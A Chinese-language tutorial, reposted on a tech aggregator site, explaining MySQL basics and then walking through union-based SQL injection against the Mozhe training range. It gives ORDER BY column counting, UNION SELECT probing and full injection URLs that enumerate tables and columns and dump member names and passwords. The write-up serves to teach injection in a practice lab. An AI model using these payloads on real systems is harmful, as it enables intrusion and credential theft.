IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> MYSQL注入 -> 正文阅读

[大数据]MYSQL注入

?注:MYSQL5.0以上为高版本,5.0以下为低版本

MYSQL相关知识

1.MYSQL数据库
数据库A=网站A=数据库用户A
表名
? ??? ??列名
? ??? ??? ??? ??? ??? ??? ??? ??数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。

2.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

3.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

4.常用参数

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本

5.MySQL 里分页一般用 LIMIT 来实现:

select* from article LIMIT 1,3
与
select * from article LIMIT 3 OFFSET 1

上面两种写法都表示取 2、3、4 三条条数据:

当 LIMIT 后面跟两个参数的时候,第一个数表示要跳过的数量,后一位表示要取的数量,例如:

select* from article LIMIT 1,3?就是跳过 1 条数据,从第 2 条数据开始取,取 3 条数据,也就是取 2、3、4 三条数据。

当 LIMIT 后面跟一个参数的时候,该参数表示要取的数据的数量。

例如?select* from article LIMIT 3?表示直接取前三条数据,类似 sqlserver 里的 top 语法。

当 LIMIT 和 OFFSET 组合使用的时候,LIMIT 后面只能有一个参数,表示要取的的数量,OFFSET表示要跳过的数量 。

例如?select * from article LIMIT 3 OFFSET 1?表示跳过 1 条数据,从第 2 条数据开始取,取3条数据,也就是取 2、3、4 三条数据。

墨者mysql靶场

点击平台停机维护通知

1.利用order by判断字段数,为下一步的union select做准备

构造order by 5时页面显示空白,说明有四列

order by:

数据库

? COL_A ? ? ? ? ? ? ? ? ? ? ? COL_B ?
? ---------- ? ---------- ?
? A ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 1 ?
? D? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?5?
? B ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 3 ?
? C ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 4 ?

order by 1? 按第一列排(默认升序) ps:降序order by 1 desc

?COL_A ? ? ? ? ? ? ? ? ? ? ? COL_B ?
? ---------- ? ---------- ?
? A ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 1 ?
? B ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 3 ?
? C ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 4 ?

? ?D? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 5?

order by 2?按第二列排(默认升序)

此时ord by 3报错

总结:

order by A,B        这个时候都是默认按升序排列
order by A desc,B   这个时候 A 降序,B 升序排列
order by A ,B desc  这个时候 A 升序,B 降序排列

即?desc?或者?asc?只对它紧跟着的第一个列名有效,其他不受影响,仍然是默认的升序。

并且可以通过ord by x来判断有有几列

2.利用 union select 1,2,3,4 联合查询,将id值设置成不成立(id=-1/id=1 and 假),即可探测到可利用的字段数

?可以发现第二列和第三列的数据是可获取的

这里用到的知识?sql注入中的union select 1,2,3...._北遇-CSDN博客

3.信息收集

将2,3替换为要查询的信息

?

获取数据库版本:version()?
获取数据库名字:database()?
获取数据库用户:user()?
获取操作系统:@@version_compile_os Linux?

4.查询数据库表

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

#查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'?

#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

?

?

?发现登录不行

#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

?

?ok!

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-11-20 18:27:52  更:2021-11-20 18:29:31 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 6:16:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码